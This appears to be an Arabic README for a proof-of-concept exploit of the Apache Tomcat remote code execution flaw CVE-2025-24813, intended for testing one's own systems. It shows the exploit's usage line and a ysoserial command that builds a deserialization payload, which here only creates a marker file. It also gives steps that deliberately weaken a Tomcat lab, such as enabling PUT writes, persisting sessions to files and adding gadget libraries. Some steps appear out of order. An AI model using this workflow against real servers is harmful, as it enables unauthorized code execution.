
CVE-2025-24813 Apache Tomcat RCE إثبات المفهوم (PoC)
إثبات مفهوم لثغرة CVE-2025-24813، وهي ثغرة تنفيذ كود عن بعد (RCE) في Apache Tomcat.
هام: هذا الإثبات المفهوم مخصص فقط لاختبار بيئاتك الخاصة أو للأغراض التعليمية. أي استخدام لهذا الإثبات المفهوم لاستغلال الأنظمة دون إذن مناسب محظور وقد يكون غير قانوني. لا يتحمل منشئو وموزعو هذا الإثبات المفهوم أي مسؤولية عن أي إساءة استخدام أو ضرر ينجم. احصل دائمًا على إذن صريح قبل اختبار أي بيئة لا تملكها.
python3 CVE-2025-24813.py --url <target_url>
الكود يحتوي بالفعل على حمولة مشفرة بـ base64 تم توليدها باستخدام ysoserial (https://github.com/frohoff/ysoserial) والتي تنشئ ملفًا RCE-success في /tmp كما يلي:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
تمكين الوصول PUT / الكتابة
قم بتحرير $CATALINA_HOME/conf/web.xml لإضافة معامل readonly تحت قسم اسم servlet الافتراضي وضبطه على false.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
تمكين استمرارية الجلسة
$CATALINA_HOME/conf/context.xml وأضف الإعداد التالي. <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
$CATALINA_HOME/webapps/ROOT/index.jsp وتأكد من أن الإعداد الافتراضي للجلسة ليس "false" أو ببساطة قم بإزالته.cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409
<%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
أو
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
تنزيل التبعيات إلى $CATALINA_HOME/lib/